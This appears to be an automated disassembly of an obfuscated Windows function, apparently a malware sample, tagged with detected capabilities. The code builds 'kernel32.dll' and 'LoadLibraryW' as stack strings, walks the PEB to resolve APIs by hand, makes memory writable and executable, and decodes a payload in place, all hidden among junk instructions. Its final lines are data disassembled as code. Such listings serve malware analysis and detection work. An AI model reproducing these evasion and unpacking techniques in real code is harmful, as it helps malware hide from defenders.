Function at 0x494fba
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
cmp eax, 0x4c48336
pop esi
cmp dword [ebp - 0x2d0], 0
jne 0x4957eb
mov eax, 0x6b
mov word [ebp - 0x1830], ax
mov ecx, 0x65
mov word [ebp - 0x182e], cx
mov edx, 0x72
mov word [ebp - 0x182c], dx
mov eax, 0x6e
mov word [ebp - 0x182a], ax
mov ecx, 0x65
mov word [ebp - 0x1828], cx
mov edx, 0x6c
mov word [ebp - 0x1826], dx
mov eax, 0x33
mov word [ebp - 0x1824], ax
mov ecx, 0x32
mov word [ebp - 0x1822], cx
mov edx, 0x2e
mov word [ebp - 0x1820], dx
mov eax, 0x64
mov word [ebp - 0x181e], ax
mov ecx, 0x6c
mov word [ebp - 0x181c], cx
mov edx, 0x6c
mov word [ebp - 0x181a], dx
xor eax, eax
mov word [ebp - 0x1818], ax
push ebx
push edx
add esp, 4
sub ebx, 0x68fe
call 0x494fa5
add byte [edi], bh
dec edx
inc esp
cmp eax, 0x443f3550
add esp, 4
xor ebx, 0x16bcd
call 0x494fba
add byte [edx + 0x46], cl
aas
dec esi
dec esp
dec ecx
add esp, 4
pop ebx
mov byte [ebp - 0x8a0], 0x4c
mov byte [ebp - 0x89f], 0x6f
mov byte [ebp - 0x89e], 0x61
mov byte [ebp - 0x89d], 0x64
mov byte [ebp - 0x89c], 0x4c
mov byte [ebp - 0x89b], 0x69
mov byte [ebp - 0x89a], 0x62
mov byte [ebp - 0x899], 0x72
mov byte [ebp - 0x898], 0x61
mov byte [ebp - 0x897], 0x72
mov byte [ebp - 0x896], 0x79
mov byte [ebp - 0x895], 0x57
mov byte [ebp - 0x894], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1a28], ecx
mov edx, dword [ebp - 0x1a28]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1a2c], eax
mov ecx, dword [ebp - 0x1a2c]
mov dword [ebp - 0x166c], ecx
push edx
push esi
add esp, 4
or edx, 0x74e0
sub edx, 0x8d6a
pop edx
push ebx
jmp 0x49505b
jmp 0x495063
pop ebx
push edx
jmp 0x49506c
add edx, 0xc0c4
pop edx
cmp dword [ebp - 0x166c], 0
jne 0x49508b
mov dword [ebp - 0x768], 0
jmp 0x495332
mov edx, dword [ebp - 0x166c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xd24], ecx
push esi
push ecx
add esp, 4
xor esi, 0x3ac5
call 0x4950b7
add byte [edi], dh
inc esi
inc edx
cmp ecx, dword [eax + 0x43]
cmp cl, byte [edx + 0x4b]
add esp, 4
add esi, 0x16596
add esi, 0x13edf
pop esi
push ecx
sub ecx, 0x9827
pop ecx
cmp dword [ebp - 0xd24], 0
jne 0x4950e7
mov dword [ebp - 0x768], 0
jmp 0x495332
mov edx, dword [ebp - 0xd24]
mov dword [ebp - 0x51c], edx
push edi
push edx
add esp, 4
add edi, 0x14cdb
pop edi
push edx
add edx, 0x15232
add edx, 0x97a8
call 0x495119
add byte [ebx + 0x41], cl
dec edx
inc eax
cmp eax, 0xc483344c
add al, 0x5a
push ebx
sub ebx, 0xbaa9
pop ebx
lea eax, [ebp - 0x1830]
mov dword [ebp - 0xd20], eax
mov ecx, dword [ebp - 0x51c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xd1c], edx
xor eax, eax
mov word [ebp - 0x220], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
or esi, 0x4e9b
sub esi, 0xea2d
add esi, 0x3e0b
sub esi, 0x120a6
pop esi
push esi
push esi
add esp, 4
add esi, 0x15eda
add esi, 0x4b84
xor esi, 0x4c58
pop esi
mov edx, dword [ebp - 0xd1c]
mov ax, word [edx]
mov word [ebp - 0x1092], ax
mov ecx, dword [ebp - 0xd1c]
add ecx, 2
mov dword [ebp - 0xd1c], ecx
mov dx, word [ebp - 0x1092]
mov word [ebp - 0x220], dx
mov eax, dword [ebp - 0xd20]
mov cx, word [eax]
mov word [ebp - 0x1094], cx
mov edx, dword [ebp - 0xd20]
add edx, 2
mov dword [ebp - 0xd20], edx
mov ax, word [ebp - 0x1094]
mov word [ebp - 0x3c], ax
push ecx
xor ecx, 0x6506
or ecx, 0x138ea
sub ecx, 0x10399
and ecx, 0x18697
pop ecx
push ecx
push ecx
add esp, 4
add ecx, 0x48f3
and ecx, 0x14a9f
and ecx, 0xaf20
pop ecx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x495227
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x16b4], edx
jmp 0x495281
movzx ecx, word [ebp - 0x220]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x49514f
movzx eax, word [ebp - 0x220]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x49514f
movzx edx, word [ebp - 0x220]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x49526b
mov dword [ebp - 0x1670], 0xffffffff
jmp 0x495275
mov dword [ebp - 0x1670], 1
mov ecx, dword [ebp - 0x1670]
mov dword [ebp - 0x16b4], ecx
cmp dword [ebp - 0x16b4], 0
jne 0x4952ca
push ecx
sub ecx, 0x99b3
pop ecx
push eax
push edi
add esp, 4
or eax, 0x857b
sub eax, 0x3b83
pop eax
push ebx
push ebx
add esp, 4
sub ebx, 0x6b60
sub ebx, 0x380c
add ebx, 0x16b39
pop ebx
mov edx, dword [ebp - 0x51c]
mov dword [ebp - 0x768], edx
jmp 0x495332
push edi
call 0x4952da
add byte [esi], bh
inc ecx
dec esp
xor al, 0x3c
cmp dword [esi], edi
xor eax, 0x4c48349
jmp 0x4952e6
call 0x4952f2
add byte [ecx], bh
inc edx
xor edi, dword [ecx]
dec edi
add esp, 4
add edi, 0x1585b
pop edi
mov eax, dword [ebp - 0x51c]
mov ecx, dword [eax]
mov dword [ebp - 0x51c], ecx
mov edx, dword [ebp - 0x51c]
cmp edx, dword [ebp - 0xd24]
je 0x495328
mov eax, dword [ebp - 0x51c]
cmp dword [eax + 0x30], 0
jne 0x4950f3
mov dword [ebp - 0x768], 0
push ecx
push ecx
add esp, 4
or ecx, 0x16590
jmp 0x495346
pop ecx
push ebx
sub ebx, 0x4ff1
pop ebx
push ebx
call 0x495360
add byte [eax], bh
inc ebp
inc edx
inc esp
cmp eax, 0x34473a3e
add esp, 4
pop ebx
cmp dword [ebp - 0x768], 0
jne 0x4953ae
push ebx
push ebx
add esp, 4
xor ebx, 0x118cb
pop ebx
push esi
sub esi, 0x442
call 0x49538d
add byte [esi], bh
xor cl, byte [edi + 0x40]
inc eax
aas
add esp, 4
pop esi
push ecx
and ecx, 0x5b36
and ecx, 0x40f3
pop ecx
mov dword [ebp - 0xac4], 0
jmp 0x495ed6
push ecx
add ecx, 0xa9b9
jmp 0x4953bd
sub ecx, 0xdbdc
pop ecx
push eax
xor eax, 0x7a77
jmp 0x4953d3
add eax, 0xbfcf
or eax, 0x3694
pop eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x324], edx
mov dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x324]
mov dword [ebp - 0x16b8], eax
cmp dword [ebp - 0x16b8], 0
jne 0x49541f
mov ecx, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], ecx
jmp 0x495710
mov edx, dword [ebp - 0x16b8]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x16bc], eax
jne 0x495447
mov ecx, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], ecx
jmp 0x495710
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x16bc]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x16c0], edx
cmp dword [ebp - 0x16c0], 0
mov ebp, 0xffffe940
add byte [ebp + 0x11], dh
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], eax
jmp 0x495710
mov ecx, dword [ebp - 0x324]
add ecx, dword [ebp - 0x16c0]
mov dword [ebp - 0x76c], ecx
jne 0x49549e
mov edx, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], edx
jmp 0x495710
mov eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1a30], ecx
mov edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0x324]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1a34], eax
mov ecx, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1a38], edx
mov dword [ebp - 0x770], 0
jmp 0x4954f8
mov eax, dword [ebp - 0x770]
add eax, 1
mov dword [ebp - 0x770], eax
mov ecx, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x770]
cmp edx, dword [ecx + 0x18]
jae 0x495704
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x1a30]
mov edx, dword [ebp - 0x324]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x774], edx
mov eax, dword [ebp - 0x770]
mov ecx, dword [ebp - 0x1a34]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1a38]
mov ecx, dword [ebp - 0x324]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a3c], ecx
mov dword [ebp - 0x19c], 0
jmp 0x495568
mov edx, dword [ebp - 0x19c]
add edx, 1
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x774]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x49561a
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a0]
test eax, eax
je 0x49561a
push esi
push edx
add esp, 4
add esi, 0xd723
or esi, 0x179e5
add esi, 0x4f5e
and esi, 0xfc6e
pop esi
push ebx
sub ebx, 0x12e83
add ebx, 0xb226
or ebx, 0x6d99
pop ebx
mov ecx, dword [ebp - 0x774]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a0]
cmp edx, ecx
je 0x49560c
mov edx, dword [ebp - 0x774]
add edx, dword [ebp - 0x19c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x19c]
movsx edx, byte [ebp + ecx - 0x8a0]
cmp eax, edx
jne 0x495613
jmp 0x495559
jmp 0x49561a
push ebx
push ebx
add esp, 4
and ebx, 0x5b2
pop ebx
push ebx
push ebx
add esp, 4
xor ebx, 0x9f79
jmp 0x495637
pop ebx
push edx
add edx, 0x1439d
xor edx, 0x839c
xor edx, 0x13001
pop edx
mov eax, dword [ebp - 0x774]
add eax, dword [ebp - 0x19c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x19c]
movsx eax, byte [ebp + edx - 0x8a0]
cmp ecx, eax
jne 0x495679
mov dword [ebp - 0xd28], 0
jmp 0x4956e8
push eax
push ebx
add esp, 4
jmp 0x495685
jmp 0x49568a
and eax, 0x24
pop eax
push ecx
sub ecx, 0x1693e
sub ecx, 0x13fc2
or ecx, 0x47a3
or ecx, 0x183b
pop ecx
mov ecx, dword [ebp - 0x774]
add ecx, dword [ebp - 0x19c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x19c]
movsx ecx, byte [ebp + eax - 0x8a0]
or ecx, 0x20
cmp edx, ecx
jge 0x4956de
mov dword [ebp - 0xd28], 0xffffffff
jmp 0x4956e8
mov dword [ebp - 0xd28], 1
cmp dword [ebp - 0xd28], 0
jne 0x4956ff
mov edx, dword [ebp - 0x1a3c]
mov dword [ebp - 0x3f8], edx
jmp 0x495710
jmp 0x4954e9
mov eax, dword [ebp - 0x778]
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0
je 0x4957eb
push edx
add edx, 0x7e99
jmp 0x495729
pop edx
push ebx
push ebx
add esp, 4
and ebx, 0x5f41
xor ebx, 0x25a1
call 0x49574b
add byte [edx + 0x43], al
dec ebx
aaa
dec esp
inc eax
cmp al, 0x4c
inc eax
inc ebp
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x1a40], ecx
push ecx
or ecx, 0x42b2
and ecx, 0x7bb9
and ecx, 0xdea1
add ecx, 0x15857
pop ecx
push ebx
push ebx
add esp, 4
sub ebx, 0x4939
sub ebx, 0x9904
xor ebx, 0x9661
pop ebx
mov edx, dword [ebp - 0x1a40]
mov dword [ebp - 0x1a44], edx
lea eax, [ebp - 0x1790]
push eax
call dword [ebp - 0x1a44]
test eax, eax
jne 0x4957eb
push eax
push esi
add esp, 4
sub eax, 0xd119
pop eax
push edi
push ecx
add esp, 4
or edi, 0x17573
xor edi, 0x3d30
and edi, 0x100e
pop edi
push edx
push esi
add esp, 4
jmp 0x4957db
pop edx
mov dword [ebp - 0xac4], 0
jmp 0x495ed6
push eax
jmp 0x4957f5
sub eax, 0xd9af
pop eax
push edi
push ebx
add esp, 4
call 0x495811
add byte [esi + 0x35], al
xor al, 0x4b
cmp al, byte [edi + 0x4a]
inc esi
dec esi
dec eax
add esp, 4
jmp 0x49581c
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1a48], ecx
mov edx, dword [ebp - 0x1a48]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1a4c], eax
mov ecx, dword [ebp - 0x1a4c]
mov dword [ebp - 0x16c8], ecx
push ecx
or ecx, 0x13459
pop ecx
push ecx
push ebx
add esp, 4
jmp 0x49585b
sub ecx, 0x6018
or ecx, 0x5880
call 0x495873
add byte [edi + 0x48], cl
dec ebp
inc edi
aaa
cmp al, byte [ebx - 0x7ca6fb3c]
mov ebp, 0xffffe938
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2d0], 0
jmp 0x495b36
push edx
xor edx, 0x6403
pop edx
push edi
push ecx
add esp, 4
add edi, 0x110af
and edi, 0x19a4
jmp 0x495b55
and edi, 0x171d1
pop edi
push edx
push ebx
add esp, 4
xor edx, 0x179d1
pop edx
mov ecx, dword [ebp - 0x2d0]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x328], edx
push edx
jmp 0x495b81
pop edx
push edi
sub edi, 0xa8b6
xor edi, 0x4002
call 0x495b9f
add byte [edx], bh
dec ebp
dec esp
xor esi, dword [ebx]
xor edi, dword ss:[ecx]
inc ecx
add esp, 4
xor edi, 0x548c
pop edi
mov dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x16d4], eax
cmp dword [ebp - 0x16d4], 0
jne 0x495bd9
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x524], ecx
jmp 0x495eca
mov edx, dword [ebp - 0x16d4]
mov eax, dword [ebp - 0x328]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x16d8], eax
jne 0x495c01
mov ecx, dword [ebp - 0x788]
mov dword [ebp - 0x524], ecx
jmp 0x495eca
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x16d8]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x16dc], edx
cmp dword [ebp - 0x16dc], 0
jne 0x495c33
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x524], eax
jmp 0x495eca
mov ecx, dword [ebp - 0x328]
add ecx, dword [ebp - 0x16dc]
mov dword [ebp - 0x77c], ecx
jne 0x495c58
mov edx, dword [ebp - 0x788]
mov dword [ebp - 0x524], edx
jmp 0x495eca
mov eax, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x328]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1a50], ecx
mov edx, dword [ebp - 0x77c]
mov eax, dword [ebp - 0x328]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1a54], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x328]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1a58], edx
mov dword [ebp - 0x780], 0
jmp 0x495cb2
mov eax, dword [ebp - 0x780]
add eax, 1
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x780]
cmp edx, dword [ecx + 0x18]
jae 0x495ebe
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x1a50]
mov edx, dword [ebp - 0x328]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x784], edx
mov eax, dword [ebp - 0x780]
mov ecx, dword [ebp - 0x1a54]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1a58]
mov ecx, dword [ebp - 0x328]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a5c], ecx
mov dword [ebp - 0x1a0], 0
jmp 0x495d22
mov edx, dword [ebp - 0x1a0]
add edx, 1
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
test ecx, ecx
je 0x495dd4
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x9d0]
test eax, eax
je 0x495dd4
push eax
push eax
add esp, 4
add eax, 0x4922
call 0x495d69
add byte [edi], bh
inc ecx
xor al, 0x4e
push eax
inc esp
dec esi
aas
add esp, 4
and eax, 0xda85
pop eax
push edx
and edx, 0x4d97
sub edx, 0x10f35
pop edx
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x9d0]
cmp edx, ecx
je 0x495dc6
mov edx, dword [ebp - 0x784]
add edx, dword [ebp - 0x1a0]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1a0]
movsx edx, byte [ebp + ecx - 0x9d0]
cmp eax, edx
jne 0x495dcd
jmp 0x495d13
jmp 0x495dd4
push esi
push edx
add esp, 4
and esi, 0x13a01
call 0x495dee
add byte [ecx + 0x4e], cl
cmp dword [esi], esi
inc edi
inc ecx
inc esi
cmp bh, byte [esi]
add esp, 4
or esi, 0xbd86
pop esi
push ecx
and ecx, 0x1339f
and ecx, 0xd34a
pop ecx
mov eax, dword [ebp - 0x784]
add eax, dword [ebp - 0x1a0]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1a0]
movsx eax, byte [ebp + edx - 0x9d0]
cmp ecx, eax
jne 0x495e33
mov dword [ebp - 0xd38], 0
jmp 0x495ea2
push ebx
call 0x495e42
add byte [esi + ecx*2 + 0x36], al
xor bh, byte [edi]
push eax
dec edx
dec ebx
add esp, 4
or ebx, 0x139e0
xor ebx, 0xe994
call 0x495e61
add byte [edx + 0x4d], al
inc edx
xor eax, 0x3b3a5048
inc ebx
dec ebp
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x784]
add ecx, dword [ebp - 0x1a0]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1a0]
movsx ecx, byte [ebp + eax - 0x9d0]
or ecx, 0x20
cmp edx, ecx
jge 0x495e98
mov dword [ebp - 0xd38], 0xffffffff
jmp 0x495ea2
mov dword [ebp - 0xd38], 1
cmp dword [ebp - 0xd38], 0
jne 0x495eb9
mov edx, dword [ebp - 0x1a5c]
mov dword [ebp - 0x524], edx
jmp 0x495eca
jmp 0x495ca3
mov eax, dword [ebp - 0x788]
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x524]
mov dword [ebp - 0xac4], ecx
push edi
push edi
add esp, 4
or edi, 0x2108
jmp 0x495ee9
sub edi, 0xf17f
pop edi
push ecx
push esi
add esp, 4
call 0x495f04
add byte [esi], dh
aas
cmp byte [edx], dh
dec ebx
aas
cmp edi, dword [esi]
add esp, 4
pop ecx
mov edx, dword [ebp - 0xac4]
mov dword [ebp - 0x1a60], edx
lea eax, [ebp - 0xd3c]
push eax
push 0x40
mov ecx, dword [ebp - 0x16e0]
push ecx
mov edx, dword [ebp - 0x3fc]
push edx
call dword [ebp - 0x1a60]
test eax, eax
jne 0x495f7b
push ecx
call 0x495f42
add byte [eax], bh
dec edi
cmp eax, dword [esi + 0x46]
add esp, 4
pop ecx
push ebx
and ebx, 0x133ad
pop ebx
push edi
xor edi, 0xc57a
call 0x495f63
add byte [ebx], dh
cmp byte ss:[esi + 0x4b], cl
dec ecx
dec esp
dec edi
add esp, 4
pop edi
mov eax, dword [ebp - 0x790]
mov dword [ebp - 0x1a64], eax
push 0
call dword [ebp - 0x1a64]
mov ecx, dword [ebp - 0x1a68]
mov dword [ebp - 0x78c], ecx
jmp 0x495f98
mov edx, dword [ebp - 0x78c]
add edx, 1
mov dword [ebp - 0x78c], edx
mov eax, dword [ebp - 0x78c]
cmp eax, dword [ebp - 0xac8]
jae 0x495ff4
push edi
add edi, 0x164a7
jmp 0x495fb5
pop edi
push ecx
jmp 0x495fbd
and ecx, 0x7d6a
pop ecx
push edi
sub edi, 0x292a
pop edi
push ebx
push ebx
add esp, 4
and ebx, 0x5f51
pop ebx
movzx ecx, byte [ebp - 0x3a9]
mov edx, dword [ebp - 0x78c]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x78c]
mov byte [ecx], al
jmp 0x495f89
mov edx, dword [ebp - 0xac4]
mov dword [ebp - 0x1a6c], edx
lea eax, [ebp - 0xd3c]
push eax
mov ecx, dword [ebp - 0xd3c]
push ecx
mov edx, dword [ebp - 0x16e0]
push edx
mov eax, dword [ebp - 0x3fc]
push eax
call dword [ebp - 0x1a6c]
test eax, eax
jne 0x49606c
push esi
push edi
add esp, 4
or esi, 0xcc4a
add esi, 0x3d76
and esi, 0x12e89
sub esi, 0x10998
pop esi
push esi
xor esi, 0x9081
jmp 0x496051
and esi, 0x9173
pop esi
mov ecx, dword [ebp - 0x790]
mov dword [ebp - 0x1a70], ecx
push 0
call dword [ebp - 0x1a70]
push ebx
push esi
add esp, 4
jmp 0x49607a
xor ebx, 0x4459
sub ebx, 0xb2a0
pop ebx
push eax
or eax, 0x79ab
call 0x49609a
add byte [ecx + 0x3a], al
inc ebx
inc edx
inc ecx
xor eax, 0x5804c483
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff06ff
pop ecx
pop ecx
pop ecx
mov edx, ecx
or al, byte [edi + 0x73879d1]
push es
xchg ecx, ebp
sub esp, 0xaf10606
cmp al, 0x48
dec eax
push ecx
popal
pop eax
xchg eax, edx
pop ebp
fld dword [esi]
push es
xchg eax, ebp
mov ch, 0xcf
push es
push es
xchg eax, edi
add dword [esi - 0x1778f9fa], 0xa
insd dword es:[edi], dx
pop es
push es
pushal
sal byte [ecx + 6], 6
push es
insb byte es:[edi], dx
invalid